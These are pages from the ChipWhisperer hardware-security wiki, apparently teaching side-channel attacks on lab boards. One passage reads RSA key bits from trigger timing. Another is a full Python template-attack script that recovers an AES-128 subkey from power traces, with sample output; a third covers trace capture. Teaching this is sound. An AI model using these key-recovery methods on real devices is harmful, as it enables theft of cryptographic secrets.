Performing the capture & post-processing of data may be difficult on a long capture. Instead we can use the hardware pattern matching block inside the ChipWhisperer-Pro to perform this attack, and avoid needing to carefully trigger the capture or even record the analog data at all.<br />
<br />
This will require you to:<br />
<br />
# Perform an example capture to program the SAD block.<br />
# Configure the trigger out to be routed to the "AUX Out" pin.<br />
# Set the trigger in the ChipWhisperer-Pro as coming from the SAD block (otherwise the external trigger out will only duplicate the trigger-in pin state).<br />
# Configure the SAD reference waveform as some unique sequence with the square/multiply function.<br />
# Using an external device (logic analyzer, scope, etc) record the trigger pattern.<br />
# From the trigger pattern, directly read off the RSA secret key.<br />
<br />
As an example, using the above simplified example we can see the delay pattern in our picoscope software used to measure the timing of the output trigger, where the BLUE trace is the trigger out from the XMEGA (i.e., it is HIGH during the processing of data), and yellow is the "Trigger Out" from the ChipWhisperer-Pro, indicating where the SAD pattern match block has indicated a matching analog sequence:<br />
<br />
[[File:B11_picoscope.png|800px]]<br />
<br />
There are three possible delay values in the trigger out pulses: <math>\Delta t_a</math>, <math>\Delta t_b</math>, and <math>\Delta t_c</math>.<br />
<br />
<br />
Note the trigger out is very short (one ADC cycle), so a reasonably fast capture speed may be needed to ensure no edges are lost, or a pulse stretcher used on the pulse output.<br />
<br />
The 1's in the above waveform are indicated by the longer delay between successive edges (<math>\Delta t_a</math> and <math>\Delta t_c</math>), as the square-multiply operation has a longer delay than a square only (<math>\Delta t_b</math>). The first delay <math>\Delta t_a</math> is longer only due the fact this is the first 1 processed, other ones will have the delay <math>\Delta t_c</math>. A small variation in delay will also be noticed when moving between words of the RSA processing.<br />
<br />
The ChipWhisperer-Pro trigger also makes it easier to attach the real RSA implementation, as it does not required storing an extremely long analog data trace and then postprocessing it. This is especially interesting as it does not require even knowing when the RSA implementation will be running.<br />
<br />
== Links ==<br />
<br />
{{Template:Tutorials}}<br />
[[Category:Tutorials]]</div>Fheubachhttp://wiki.newae.com/index.php?title=Tutorial_B10_Using_with_SASEBO-W_CardOS_or_DPA_Contest_v4.2&diff=3491Tutorial B10 Using with SASEBO-W CardOS or DPA Contest v4.22018-05-01T18:47:28Z<p>Fheubach: </p>
<hr />
<div>This tutorial is a V3.x only tutorial, it does not work with ChipWhisperer 4.x.<br />
<br />
See the page [[V3:Tutorial_B10_Using_with_SASEBO-W_CardOS_or_DPA_Contest_v4.2]] for the tutorial.<br />
<br />
== Links ==<br />
{{Template:Tutorials}}</div>Fheubachhttp://wiki.newae.com/index.php?title=Tutorial_B9_The_Preprocessing_Modules&diff=3490Tutorial B9 The Preprocessing Modules2018-05-01T18:46:57Z<p>Fheubach: </p>
<hr />
<div>{{Warningbox|TODO: This tutorial is being updated/written for API V4.}}<br />
<br />
== Links ==<br />
<br />
{{Template:Tutorials}}</div>Fheubachhttp://wiki.newae.com/index.php?title=Tutorial_B8_Profiling_Attacks_(Manual_Template_Attack)&diff=3489Tutorial B8 Profiling Attacks (Manual Template Attack)2018-05-01T18:46:22Z<p>Fheubach: </p>
<hr />
<div>This tutorial is a more hands-on version of the [[Tutorial B7 Profiling Attacks (with HW Assumption)|previous tutorial]]. Rather than getting the ChipWhisperer Analyzer software to generate the points of interest and the template distributions, this tutorial will work directly with the recorded trace data in Python. <br />
<br />
It is '''highly recommended''' that you read the theory page on [[Template Attacks]] before attempting this tutorial. There is some relatively complex processing involved, and it may be helpful to get a mathematical view on the steps before attempting to program them.<br />
<br />
Additionally, this tutorial uses some terminology from previous tutorials, such as ''Hamming weight'' and ''substitution box''. If you don't know what these are, [[Tutorial B6 Breaking AES (Manual CPA Attack)]] might be an easier starting point.<br />
<br />
== Scripting ==<br />
All of the work in this tutorial will be done using Python scripts. All you need for this tutorial is a text editor and a command terminal that can run Python. In my example, I am editing a file called <code>manualTemplate.py</code> in a text editor and using the command<br />
<br />
<pre><br />
python manualTemplate.py<br />
</pre><br />
<br />
to execute the script. You can work with a full IDE if you prefer.<br />
<br />
== Capturing the Traces ==<br />
As in the previous tutorial, this tutorial requires two sets of traces. The first set is a large number of traces (1000+) with random keys and plaintexts, assumed to come from your personal copy of the device. The second is a smaller number of traces (~50) with a fixed key and random plaintexts, assumed to come from the sensitive device that we're attacking. The goal of this tutorial is to recover the fixed key from the smaller set of traces.<br />
<br />
The data collected from the previous tutorial will be fine for these steps. These examples will work with 2000 random-key traces and 50 fixed-key traces. If you don't have these datasets, follow the steps in [[Tutorial B7 Profiling Attacks (with HW Assumption)]] to record these traces.<br />
<br />
Note that this tutorial will explain how to attack a single byte of the secret AES key. It would be easy to extend this to the full key by running the code 16 times. The smaller attack is used to make some of the code easier to grasp and debug.<br />
<br />
== Creating the Template ==<br />
This section describes how to generate a template from the random-key traces. Our template will attempt to recognize the Hamming weight of the AES substitution box output. This choice of attack point limits our template - we will not be able to find the secret key in one attack trace - but it allows us to use a smaller amount of preprocessing. A more robust template attack (for instance, creating a template for each of the 256 possible key bytes) would require at least 10 times more data.<br />
<br />
=== Loading the Traces ===<br />
The traces recorded from the ChipWhisperer Capture program are saved as NumPy arrays. These files can be loaded using the <code>np.load()</code> function. We're interested in the traces, plaintext, and random keys used in our template captures, so we can load this data with the code:<br />
<br />
<pre><br />
import numpy as np<br />
tempTraces = np.load(r'C:\chipwhisperer\software\temp_attack\rand_key_data\traces\2016.05.24-12.53.15_traces.npy')<br />
tempPText = np.load(r'C:\chipwhisperer\software\temp_attack\rand_key_data\traces\2016.05.24-12.53.15_textin.npy')<br />
tempKey = np.load(r'C:\chipwhisperer\software\temp_attack\rand_key_data\traces\2016.05.24-12.53.15_keylist.npy')<br />
</pre><br />
<br />
''(Of course, fill in your own filenames.)''<br />
<br />
We can check this data to make sure it looks okay. Some useful checks might be:<br />
<br />
<pre><br />
import matplotlib.pyplot as plt<br />
print tempPText<br />
print len(tempPText)<br />
plt.plot(tempTraces[0])<br />
plt.show()<br />
</pre><br />
<br />
Get in the habit of checking your data with some basic print statements or plots - it's a good sanity check to make sure that your arrays are the size they should be! If everything looks okay, comment out these checks and move on.<br />
<br />
=== Sorting the Traces ===<br />
With the data in-hand, our next task is to group the data according to our model. We're attacking an intermediate result in the AES algorithm where<br />
<br />
<pre><br />
intermediate = sbox[plaintext ^ key]<br />
</pre><br />
<br />
In our attack, we're going to try to look at a trace and decide what the Hamming weight of this intermediate result is. To set up the templates, we need to sort our template traces into 9 groups. The first group will be all of the traces that have an intermediate Hamming weight of 0. The next group has a Hamming weight of 1, etc..., and the last group has a Hamming weight of 8. <br />
<br />
To find which group a trace belongs in, we can calculate the intermediate result from the plaintext and key. Some Python code to do this is:<br />
<br />
<pre><br />
sbox=(<br />
0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,<br />
0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,<br />
0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,<br />
0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,<br />
0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,<br />
0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,<br />
0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,<br />
0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,<br />
0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,<br />
0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,<br />
0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,<br />
0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,<br />
0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,<br />
0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,<br />
0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,<br />
0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16) <br />
<br />
intermediate = sbox[tempPText[0][0] ^ tempKey[0][0]]<br />
</pre><br />
This will calculate the intermediate value for trace 0, looking only at subkey 0. This calculation can be repeated using list comprehension:<br />
<pre><br />
tempSbox = [sbox[tempPText[i][0] ^ tempKey[i][0]] for i in range(len(tempPText))]<br />
</pre><br />
<br />
Then, we need to get the Hamming weight of all of these intermediate values. We can do this using the same lookup table as the previous tutorial:<br />
<br />
<pre><br />
hw = [bin(x).count("1") for x in range(256)]<br />
tempHW = [hw[s] for s in tempSbox]<br />
</pre><br />
<br />
Confirm that these look correct by printing them. (Would I ever steer you wrong?)<br />
<br />
With these Hamming weights, we can look at every trace and decide which group it belongs in. Let's make a list of lists of traces:<br />
<pre><br />
tempTracesHW = [[] for _ in range(9)]<br />
</pre><br />
<br />
Then, we can loop through our list of traces and append each trace to the right category:<br />
<pre><br />
for i in range(len(tempTraces)):<br />
HW = tempHW[i]<br />
tempTracesHW[HW].append(tempTraces[i])<br />
</pre><br />
<br />
Now, <code>tempTracesHW[y]</code> is a list of all of the traces with an intermediate Hamming weight of <code>y</code>. As our last step, let's turn this into a list of NumPy arrays to make the math easier in the rest of the tutorial:<br />
<pre><br />
tempTracesHW = [np.array(tempTracesHW[HW]) for HW in range(9)]<br />
</pre><br />
<br />
One more check: make sure we have data in any one of these categories by printing<br />
<pre><br />
print len(tempTracesHW[8])<br />
</pre><br />
<br />
=== Points of Interest ===<br />
After sorting the traces by their Hamming weights, we need to find an "average trace" for each weight. We can make an array to hold 9 of these averages:<br />
<br />
<pre><br />
tempMeans = np.zeros((9, len(tempTraces[0])))<br />
</pre><br />
<br />
Then, we can fill up each of these traces one-by-one. NumPy's <code>average()</code> function makes this easy by including an "axis" input. We can tell NumPy to find the average at each point in time and repeat this for all 9 weights:<br />
<br />
<pre><br />
for i in range(9):<br />
tempMeans[i] = np.average(tempTracesHW[i], 0)<br />
</pre><br />
<br />
Once again, it's a good idea to plot one of these averages to make sure that the average traces look okay:<br />
<br />
<pre><br />
plt.plot(tempMeans[2])<br />
plt.grid()<br />
plt.show()<br />
</pre><br />
<br />
[[File:Template-Mean-Trace.png|800px]]<br />
<br />
<br />
We can use these average traces to find points of interest using the ''sum of differences'' method. If this sounds unfamiliar, take a look at [[Template_Attacks#Points_of_Interest|the theory page]] for a review of the math. The first step is to create a "trace" that stores these differences:<br />
<br />
<pre><br />
tempSumDiff = np.zeros(len(tempTraces[0]))<br />
</pre><br />
<br />
Then, we want to look at all of the pairs of traces, subtract them, and add them to the sum of differences. This is simple to do with 2 loops:<br />
<br />
<pre><br />
for i in range(9):<br />
for j in range(i):<br />
tempSumDiff += np.abs(tempMeans[i] - tempMeans[j])<br />
</pre><br />
<br />
This sum of differences will have peaks where the average traces showed a lot of variance. Make sure that there are a handful of high peaks that we can use as points of interest:<br />
<br />
<pre><br />
plt.plot(tempSumDiff)<br />
plt.grid()<br />
plt.show()<br />
</pre><br />
<br />
[[File:Template-Sum-Of-Difference.png|800px]]<br />
<br />
Now, the most interesting points of interest are the highest peaks in this sum of differences plot. However, we can't just sort the array and pick the top points. Remember (because you read the theory page, right? <sup>right?</sup>) that we need to make sure our points have some space between them. For instance, it would be a bad idea to pick both 1950 and 1951 as points of interest.<br />
<br />
We can use the algorithm from the theory page to pick out some POIs:<br />
* Make an empty list of POIs<br />
* Find the biggest peak in the sum of differences trace and add it to the list of POIs<br />
* Zero out some of the surrounding points<br />
* Repeat until we have enough POIs<br />
Try to code this on your own - it's a good exercise. If you get stuck, here's our implementation:<br />
<br />
<pre><br />
# Some settings that we can change<br />
numPOIs = 5 # How many POIs do we want?<br />
POIspacing = 5 # How far apart do the POIs have to be?<br />
<br />
# Make an empty list of POIs<br />
POIs = []<br />
<br />
# Repeat until we have enough POIs<br />
for i in range(numPOIs):<br />
# Find the biggest peak and add it to the list of POIs<br />
nextPOI = tempSumDiff.argmax()<br />
POIs.append(nextPOI)<br />
<br />
# Zero out some of the surrounding points<br />
# Make sure we don't go out of bounds<br />
poiMin = max(0, nextPOI - POIspacing)<br />
poiMax = min(nextPOI + POIspacing, len(tempSumDiff))<br />
for j in range(poiMin, poiMax):<br />
tempSumDiff[j] = 0<br />
<br />
# Make sure they look okay<br />
print POIs<br />
</pre><br />
<br />
=== Covariance Matrices ===<br />
With 5 (or <code>numPOIs</code>) POIs picked out, we can build our multivariate distributions at each point for each Hamming weight. We need to write down two matrices for each weight:<br />
* A mean matrix (<code>1 x numPOIs</code>) which stores the mean at each POI<br />
* A covariance matrix (<code>numPOIs x numPOIs</code>) which stores the variances and covariances between each of the POIs<br />
<br />
The mean matrix is easy to set up because we've already found the mean at every point. All we need to do is grab the right points:<br />
<br />
<pre><br />
meanMatrix = np.zeros((9, numPOIs))<br />
for HW in range(9):<br />
for i in range(numPOIs):<br />
meanMatrix[HW][i] = tempMeans[HW][POIs[i]]<br />
</pre><br />
<br />
The covariance matrix is a bit more complex. We need a way to find the covariance between two 1D arrays. Helpfully, NumPy has the <code>cov(a, b)</code> function, which returns the matrix<br />
<pre><br />
np.cov(a, b) = [[cov(a, a), cov(a, b)],<br />
[cov(b, a), cov(b, b)]]<br />
</pre><br />
<br />
We can use this to define our own covariance function:<br />
<pre><br />
def cov(x, y):<br />
# Find the covariance between two 1D lists (x and y).<br />
# Note that var(x) = cov(x, x)<br />
return np.cov(x, y)[0][1]<br />
</pre><br />
<br />
As mentioned in the comments, this function can also calculate the variance of an array by passing the same array in for both <code>x</code> and <code>y</code>.<br />
<br />
We'll use our function to build the covariance matrices:<br />
<pre><br />
covMatrix = np.zeros((9, numPOIs, numPOIs))<br />
for HW in range(9):<br />
for i in range(numPOIs):<br />
for j in range(numPOIs):<br />
x = tempTracesHW[HW][:,POIs[i]]<br />
y = tempTracesHW[HW][:,POIs[j]]<br />
covMatrix[HW,i,j] = cov(x, y)<br />
</pre><br />
<br />
Make sure these matrices look okay before continuing:<br />
<br />
<pre><br />
print meanMatrix<br />
print covMatrix[0]<br />
</pre><br />
<br />
Note that you may not have enough data to complete the covariance matrix - check out the Gotchas at the end of this tutorial if this step blew up on you.<br />
<br />
== Performing the Attack ==<br />
Our template is ready, so we can use it to perform an attack now. We'll load our fixed-key traces and apply the template PDF to see how good each guess is, keeping a running total to check which subkey guesses are the best matches.<br />
<br />
=== Loading the Traces ===<br />
If you followed the instructions from the previous tutorial, you'll have a few dozen traces that use random plaintexts and a fixed key. We can load these in exactly the same way as the template traces:<br />
<pre><br />
atkTraces = np.load(r'C:\chipwhisperer\software\temp_attack\fixed_key_data\traces\2016.05.24-12.10.07_traces.npy')<br />
atkPText = np.load(r'C:\chipwhisperer\software\temp_attack\fixed_key_data\traces\2016.05.24-12.10.07_textin.npy')<br />
atkKey = np.load(r'C:\chipwhisperer\software\temp_attack\fixed_key_data\traces\2016.05.24-12.10.07_knownkey.npy')<br />
</pre><br />
<br />
In particular, let's check the key to make sure we know what our goal is:<br />
<pre><br />
print atkKey<br />
</pre><br />
With the default key in ChipWhisperer Capture, this prints<br />
<pre><br />
[ 43 126 21 22 40 174 210 166 171 247 21 136 9 207 79 60]<br />
</pre><br />
We're only attacking the first subkey, so let's see if we can get <code>43</code> to come up as the best guess.<br />
<br />
=== Using the Template ===<br />
The very last step is to apply our template to these traces. We want to keep a running total of <math>\log P_k = \sum_j \log p_{k,j}</math>, so we'll make space for our 256 guesses:<br />
<pre><br />
P_k = np.zeros(256)<br />
</pre><br />
<br />
Then, we want to do the following for every attack trace:<br />
* Grab the samples from the points of interest and store them in a list <math>\mathbf{a}</math><br />
* For all 256 of the subkey guesses...<br />
** Figure out which Hamming weight we need, according to our known plaintext and guessed subkey<br />
** Build a <code>multivariate_normal</code> object using the relevant mean and covariance matrices<br />
** Calculate the log of the PDF (<math>\log f(\mathbf{a})</math>) and add it to the running total<br />
* List the best guesses we've seen so far<br />
Make sure you've included the multivariate stats from SciPy:<br />
<pre><br />
from scipy.stats import multivariate_normal<br />
</pre><br />
<br />
Our implementation is:<br />
<pre><br />
for j in range(len(atkTraces)):<br />
# Grab key points and put them in a matrix<br />
a = [atkTraces[j][POIs[i]] for i in range(len(POIs))]<br />
<br />
# Test each key<br />
for k in range(256):<br />
# Find HW coming out of sbox<br />
HW = hw[sbox[atkPText[j][0] ^ k]]<br />
<br />
# Find p_{k,j}<br />
rv = multivariate_normal(meanMatrix[HW], covMatrix[HW])<br />
p_kj = rv.pdf(a)<br />
<br />
# Add it to running total<br />
P_k[k] += np.log(p_kj)<br />
<br />
# Print our top 5 results so far<br />
# Best match on the right<br />
print P_k.argsort()[-5:]<br />
</pre><br />
<br />
The output that appears is:<br />
<pre><br />
[219 145 181 134 127]<br />
[ 37 43 76 123 235]<br />
[32 44 45 77 43]<br />
[199 45 44 77 43]<br />
[139 37 42 77 43]<br />
[45 77 37 42 43]<br />
[235 37 45 42 43]<br />
[ 37 77 139 235 43]<br />
</pre><br />
This means:<br />
* After 1 trace, <code>43</code> wasn't even in the top 5 guesses. This is fine - there are probably a lot of key candidates tied for first place.<br />
* After 2 traces, <code>43</code> was the 4th best guess - pretty good...<br />
* After 3+ traces, <code>43</code> was the best candidate for the subkey.<br />
so we successfully attacked the first subkey in 3 traces! This is a bit lucky - most of the subkeys tend to take a bit more data. Don't be surprised if your attack takes closer to a dozen trials.<br />
<br />
== Gotchas ==<br />
One problem with template attacks is that they require a large amount of data to make good templates. Remember that every output of the AES substitution box is unique, so there is only one output with a Hamming weight of 0 and only one with a weight of 8. This means that, when using random inputs, there is only a 1/256 chance of a trace using a Hamming weight of 0 or 8. <br />
<br />
When only recording 1000 examples, it is completely possible to never see one of the weights, making it impossible to find the mean and variance. In fact, seeing a weight once is not enough - in order to calculate the variance, we need at least 2 traces, and this is hardly enough to build a good distribution.<br />
<br />
Some template attacks involve building a separate distribution for every possible subkey. This makes the problem even worse - now, we have a 1/256 chance of finding every key, so it's quite probable to have insufficient data. The only solution is to record more traces. Practical template attacks may require tens of thousands of traces to get enough information.<br />
<br />
If you ran into numerical problems while working through this tutorial, try recording another bigger data set. Instead of capturing 1000 template traces, try 5000 (on your coffee break), 10000 (on your lunch break), or 100000 (overnight). You'll probably find that the extra data makes the statistics work out better.<br />
<br />
== Appendix: Full Script ==<br />
If you got lost, here's our full implementation:<br />
<pre><br />
# manualTemplate.py<br />
# A script to perform a template attack<br />
# Will attack one subkey of AES-128<br />
<br />
import numpy as np<br />
from scipy.stats import multivariate_normal<br />
import matplotlib.pyplot as plt<br />
<br />
# Useful utilities<br />
sbox=(<br />
0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,<br />
0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,<br />
0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,<br />
0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,<br />
0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,<br />
0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,<br />
0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,<br />
0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,<br />
0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,<br />
0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,<br />
0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,<br />
0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,<br />
0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,<br />
0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,<br />
0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,<br />
0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16) <br />
hw = [bin(x).count("1") for x in range(256)]<br />
<br />
def cov(x, y):<br />
# Find the covariance between two 1D lists (x and y).<br />
# Note that var(x) = cov(x, x)<br />
return np.cov(x, y)[0][1]<br />
<br />
<br />
# Uncomment to check<br />
#print sbox<br />
#print [hw[s] for s in sbox]<br />
<br />
<br />
# Start calculating template<br />
# 1: load data<br />
tempTraces = np.load(r'C:\chipwhisperer\software\temp_attack\rand_key_data\traces\2016.05.24-12.53.15_traces.npy')<br />
tempPText = np.load(r'C:\chipwhisperer\software\temp_attack\rand_key_data\traces\2016.05.24-12.53.15_textin.npy')<br />
tempKey = np.load(r'C:\chipwhisperer\software\temp_attack\rand_key_data\traces\2016.05.24-12.53.15_keylist.npy')<br />
<br />
#print tempPText<br />
#print len(tempPText)<br />
#print tempKey<br />
#print len(tempKey)<br />
#plt.plot(tempTraces[0])<br />
#plt.show()<br />
<br />
<br />
# 2: Find HW(sbox) to go with each input<br />
# Note - we're only working with the first byte here<br />
tempSbox = [sbox[tempPText[i][0] ^ tempKey[i][0]] for i in range(len(tempPText))] <br />
tempHW = [hw[s] for s in tempSbox]<br />
<br />
#print tempSbox<br />
#print tempHW<br />
<br />
<br />
# 2.5: Sort traces by HW<br />
# Make 9 blank lists - one for each Hamming weight<br />
tempTracesHW = [[] for _ in range(9)]<br />
<br />
# Fill them up<br />
for i in range(len(tempTraces)):<br />
HW = tempHW[i]<br />
tempTracesHW[HW].append(tempTraces[i])<br />
<br />
# Switch to numpy arrays<br />
tempTracesHW = [np.array(tempTracesHW[HW]) for HW in range(9)]<br />
<br />
#print len(tempTracesHW[8])<br />
<br />
<br />
# 3: Find averages<br />
tempMeans = np.zeros((9, len(tempTraces[0])))<br />
for i in range(9):<br />
tempMeans[i] = np.average(tempTracesHW[i], 0)<br />
<br />
#plt.plot(tempMeans[2])<br />
#plt.grid()<br />
#plt.show()<br />
<br />
<br />
# 4: Find sum of differences<br />
tempSumDiff = np.zeros(len(tempTraces[0]))<br />
for i in range(9):<br />
for j in range(i):<br />
tempSumDiff += np.abs(tempMeans[i] - tempMeans[j])<br />
<br />
#plt.plot(tempSumDiff)<br />
#plt.grid()<br />
#plt.show()<br />
<br />
<br />
# 5: Find POIs<br />
POIs = []<br />
numPOIs = 5<br />
POIspacing = 5<br />
for i in range(numPOIs):<br />
# Find the max<br />
nextPOI = tempSumDiff.argmax()<br />
POIs.append(nextPOI)<br />
<br />
# Make sure we don't pick a nearby value<br />
poiMin = max(0, nextPOI - POIspacing)<br />
poiMax = min(nextPOI + POIspacing, len(tempSumDiff))<br />
for j in range(poiMin, poiMax):<br />
tempSumDiff[j] = 0<br />
<br />
#print POIs<br />
<br />
<br />
# 6: Fill up mean and covariance matrix for each HW<br />
meanMatrix = np.zeros((9, numPOIs))<br />
covMatrix = np.zeros((9, numPOIs, numPOIs))<br />
for HW in range(9):<br />
for i in range(numPOIs):<br />
# Fill in mean<br />
meanMatrix[HW][i] = tempMeans[HW][POIs[i]]<br />
for j in range(numPOIs):<br />
x = tempTracesHW[HW][:,POIs[i]]<br />
y = tempTracesHW[HW][:,POIs[j]]<br />
covMatrix[HW,i,j] = cov(x, y)<br />
<br />
#print meanMatrix<br />
#print covMatrix[0]<br />
<br />
<br />
# Template is ready!<br />
# 1: Load attack traces<br />
atkTraces = np.load(r'C:\chipwhisperer\software\temp_attack\fixed_key_data\traces\2016.05.24-12.10.07_traces.npy')<br />
atkPText = np.load(r'C:\chipwhisperer\software\temp_attack\fixed_key_data\traces\2016.05.24-12.10.07_textin.npy')<br />
atkKey = np.load(r'C:\chipwhisperer\software\temp_attack\fixed_key_data\traces\2016.05.24-12.10.07_knownkey.npy')<br />
<br />
#print atkTraces<br />
#print atkPText<br />
print atkKey<br />
<br />
<br />
# 2: Attack<br />
# Running total of log P_k<br />
P_k = np.zeros(256)<br />
for j in range(len(atkTraces)):<br />
# Grab key points and put them in a small matrix<br />
a = [atkTraces[j][POIs[i]] for i in range(len(POIs))]<br />
<br />
# Test each key<br />
for k in range(256):<br />
# Find HW coming out of sbox<br />
HW = hw[sbox[atkPText[j][0] ^ k]]<br />
<br />
# Find p_{k,j}<br />
rv = multivariate_normal(meanMatrix[HW], covMatrix[HW])<br />
p_kj = rv.pdf(a)<br />
<br />
# Add it to running total<br />
P_k[k] += np.log(p_kj)<br />
<br />
# Print our top 5 results so far<br />
# Best match on the right<br />
print P_k.argsort()[-5:]<br />
</pre><br />
<br />
== Links ==<br />
<br />
{{Template:Tutorials}}<br />
[[Category:Tutorials]]</div>Fheubachhttp://wiki.newae.com/index.php?title=Tutorial_B7_Profiling_Attacks_(with_HW_Assumption)&diff=3488Tutorial B7 Profiling Attacks (with HW Assumption)2018-05-01T18:46:03Z<p>Fheubach: </p>
<hr />
<div>This tutorial will demonstrate how to perform a profiling attack against the same AES implementation we've been using. To begin with we'll be using the same Hamming Weight (HW) assumption as previous attacks, although later we'll look into an attack without such assumptions.<br />
<br />
Under this assumption, we are attempting to accurately determine the what leakage corresponds to the ''Hamming Weight'' of the sensitive value being targeted. This requires us to have similar knowledge to the CPA attack, mainly we are making an assumption that the system does indeed leak the Hamming Weight (HW).<br />
<br />
Note that unlike the previous attack, we will require ''two'' acquisition campaigns. We must first create a template, which means we'll need a system which we control (or at least know the key for). In real life this would typically mean using another copy of the protected device; e.g. you have a protected device, but you buy another copy which you control. We use the copy we control to characterize the leakage, before applying what we have learned onto the real device with an unknown key.<br />
<br />
== Setting up the Hardware and Software ==<br />
<br />
In this tutorial, we'll be attacking AES-128 on the same devices we've worked with in previous tutorials. Take a look at [[Tutorial B5 Breaking AES (Straightforward)]] for details on how to set everything up.<br />
<br />
== Capturing the Traces ==<br />
<br />
=== Capturing the Template Traces ===<br />
<br />
As mentioned, you will need to perform ''two'' capture campaigns. This tutorial uses a simple script that ships with the ChipWhisperer Capture software as the building block. The easiest method of accomplishing the trace capture is as follows:<br />
<br />
<ol style="list-style-type: decimal;"><br />
<li>Close &amp; reopen the capture software (to clear out any previous connection which may be invalid).</li><br />
<li><p>From the ''Project'' menu elect the ''Example Scripts'' and then ''ChipWhisperer-Rev2: SimpleSerial Target''</p><br />
<p>[[File:runscript.png|image]]</p></li><br />
<li><p>The script will automatically connect to the capture hardware and run 2 example traces. You should see something that looks like the following screen:</p><br />
<p>[[File:capture.png|image]]</p></li><br />
<li><p>Change to the ''General Settings'' tab, and adjust the ''Key/Text Pattern'' to send a random encryption key along with a random plaintext. This is shown in the following diagram:</p><br />
<p>[[File:campaignrandrand.png|image]]</p></li><br />
<li>Save the project now, giving it a name indicating the '''key and text is random'''. For example you could call it <code>tut_randkey_randplain.cwp</code>. Note by saving the project ''before'' running the capture you will force all trace data to be saved into a directory with the same name. This will make it easier to find the data at a later time.</li><br />
<li>Change the number of traces to be ''1000'': more traces are needed to form the profile. In this case 1000 is a very small capture, however for this unprotected implementation will be sufficient. An interesting experiment is to see how using more or less traces impacts your templates!</li><br />
<li>Hit the ''Capture Many'' button (M in a green triangle) to start the capture process. You will see each new trace plotted in the waveform display. Once the capture is complete, save the project file again.</li><br />
</ol><br />
<br />
=== Capturing the Attack Traces ===<br />
<br />
# Make a new project (File->New).<br />
# Change the encryption key to fixed.<br />
# Save the project now in the same directory as the <code>.cwp</code> file from the previous section, giving it a name indicating the key is '''fixed''' and text is '''random'''. For example you could call it <code>tut_fixedkey_randplain.cwp</code>, again saving it in the same directory as the previous file.<br />
# Change the number of traces to be ''20'': by comparison the profiling attack will require less attack traces compared to the CPA attack.<br />
# Hit the ''Capture Many'' button (M in a green triangle) to start the capture process. You will see each new trace plotted in the waveform display. Once the capture is complete, save the project file again.<br />
# Exit the capture application.<br />
<br />
== Generating the Template ==<br />
<br />
